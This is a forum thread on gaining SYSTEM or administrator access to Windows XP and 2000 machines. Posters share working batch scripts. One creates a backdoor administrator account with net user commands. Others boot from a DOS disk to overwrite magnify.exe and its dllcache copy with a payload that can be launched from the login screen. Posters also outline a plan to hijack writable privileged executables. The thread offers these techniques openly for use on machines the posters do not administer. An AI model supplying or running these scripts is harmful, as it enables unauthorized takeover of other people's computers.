Jump to content

Gain SYSTEM/Administrative Access to Windows XP/2000


celltoolz
 Share

Recommended Posts

  • 3 weeks later...
  • Replies 196
  • Created
  • Last Reply

Top Posters In This Topic

  • 2 weeks later...
  • 2 weeks later...

I dont know if somebody already said this above. i dont have all day to read this.

You can easly do this with batch.

net user Bob /add
net user Bob Bobby
net localgroup Administrators /add Bob

Put that in a batch file and run it on the computer.

It will make a user account "Bob"

the password will be Bobby.

And then you got a administrators account

You can make one to remove it as well

net user Bob /delete

There you go. have fun

Link to comment
Share on other sites

I did set up a bootdisk with ntfs4dos to copy a compiled batch into the system32 folder (magnify.exe).

By pressing {Win}+{U} and starting the magnifier you have a administrator account.

This does not require administrator rights, but needs physical access.

Link to comment
Share on other sites

  • 2 weeks later...

Perhaps we should outline our basic plan of action. It seems we all need the described ----

1. Find an exe/dll hook that Windows uses in an Administrative privileged state AND with the ability to be modified/saved/edited/run by guest or everyone.

2. Get that exe to be loaded by Administrator and/or System AND spawn/run our extra code/payload that adds a user and password or escalates guest to Administrator access.

3. Finally, and not really needed, replaced fixed exe with normal exe to remove trace.

----

Does magnify.exe have the ability to be modified by guest or everyone??

Link to comment
Share on other sites

Hmmmm.

Interesting work...

I wonder if Microsoft will block access to exes if they find out, but they cant can they, otherwise windows wont load, and they cant block you from running the neat appy, as it is part of windows, but domain admins could put it in the block list.

Usually accounts, even those on a domain have access to c:. Since utilman.exe is't really a core appy, it isn't as highly protected as others and isnt always running, so good choice there microsoft.........

Sounds interesting, but lethal... I have treid the net commands in vista home premium and they don't work on my account (though its admin, but vista and admin are two different things...are you sure u wanna run that....access denied...but I chose my account to be an admin....too bad)

I'm sure this would work even in a limited account (so long as access to c:)


mexxus

Link to comment
Share on other sites

@kickarse: the magnify.exe is a system file, so replacing is only possible by an administrator (or a person having admin rights) or by booting from another os. But it can be started by everyone.

The difficult part is, that you need admin rights instantly and not the dirty way by booting another operating system.

EDIT: http://oxid.netsons.org/phpBB2/viewtopic.php?p=4578

To make a long story short, you create a service which calls the cmd.exe with SYSTEM rights.

To prove that you have system rights, you can change into the system volume information folder.

But as alway, you need admin rights.

Link to comment
Share on other sites

wouldn't be that hard, really. All that's required DOS boot floppy (or CD) with an NTFS driver that automatically runs a batch file that replaces Magnify.exe with your modified version.

Insert floppy (or bootable CD) > boot machine > script runs > reboot into windows > use exploit

Edit: Here's all the code that's required for the batch file:

copy C:WINDOWSsystem32magnify.exe C:WINDOWSsystem32magnify_bak.exe
del C:WINDOWSsystem32magnify.exe
copy .magnify.exe C:WINDOWSsystem32
exit

And this will undo it:

del C:WINDOWSsystem32magnify.exe
copy C:WINDOWSsystem32magnify_bak.exe C:WINDOWSsystem32magnify.exe
del C:WINDOWSsystem32magnify_bak.exe
exit

Yes, I know I could have used "ren" instead of "copy" and "del", but I've had issues doing it that way without actually changing to the working directory. This will work for sure.

Link to comment
Share on other sites

Ehm, i actually did that some time ago ;)

@echo on
FOR %i IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO IF EXIST %i:ntldr SET SYS=%i
FOR %a IN (windows winnt) DO IF EXIST %sys%:%asystem32winlogon.exe SET WIN=%a

copy ".magnify.exe" "%SYS%:%win%system32dllcachemagnify.exe" /Y
copy ".magnify.exe" "%SYS%:%win%system32magnify.exe" /Y

This does work on 2k and on xp

And i set up a bootdisc with ntfs4dos, look here

Link to comment
Share on other sites

Can someone confirm this?

It may have something to do with the lack of sleep but your post didn't quite make sense to me... If your asking will the "fake" files still be there on reboot, yes I think someone stated earlier in this thread that windows only checks for the files existence not the integrity of the file.

Link to comment
Share on other sites

Yeah, i love posting nonsense ;)

I meant that windows didn't replaced the patched files after a forced reboot, but i think it's because i deactivated the sfc on my vm, so never mind and ignore this and my last post

Link to comment
Share on other sites

Ehm, i actually did that some time ago ;)

@echo on
FOR %i IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO IF EXIST %i:ntldr SET SYS=%i
FOR %a IN (windows winnt) DO IF EXIST %sys%:%asystem32winlogon.exe SET WIN=%a

copy ".magnify.exe" "%SYS%:%win%system32dllcachemagnify.exe" /Y
copy ".magnify.exe" "%SYS%:%win%system32magnify.exe" /Y

This does work on 2k and on xp

And i set up a bootdisc with ntfs4dos, look here

that works, but isn't it a tad bloated and overcomplicated? The way I wrote it up doesn't need to search every drive in the system to work...
Link to comment
Share on other sites

Yes, your script works for all standard xp/vista machines.

My script works for all 2000/xp/vista systems installed on another partition then C:

For me it is more important to make the script work on any pc (running windows)

Link to comment
Share on other sites

  • 3 weeks later...
Yes, your script works for all standard xp/vista machines.

My script works for all 2000/xp/vista systems installed on another partition then C:

For me it is more important to make the script work on any pc (running windows)

Could you not just use %systemdrive% ?

Link to comment
Share on other sites

Yes, your script works for all standard xp/vista machines.

My script works for all 2000/xp/vista systems installed on another partition then C:

For me it is more important to make the script work on any pc (running windows)

Could you not just use %systemdrive% ?

Thats only if you want to make it simple... or to simplify it further just use %systemroot%  :-P

Link to comment
Share on other sites

Ehm, if you try this you'll get some nice errors ;)

I'm booting from a dos floppy so I don't have systemvariables

If it would be so easy, I would have done this.

A problem I spotted is, if someone has more than just 1 windows nt system installed, that the script just copies it once.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.

×
×
  • Create New...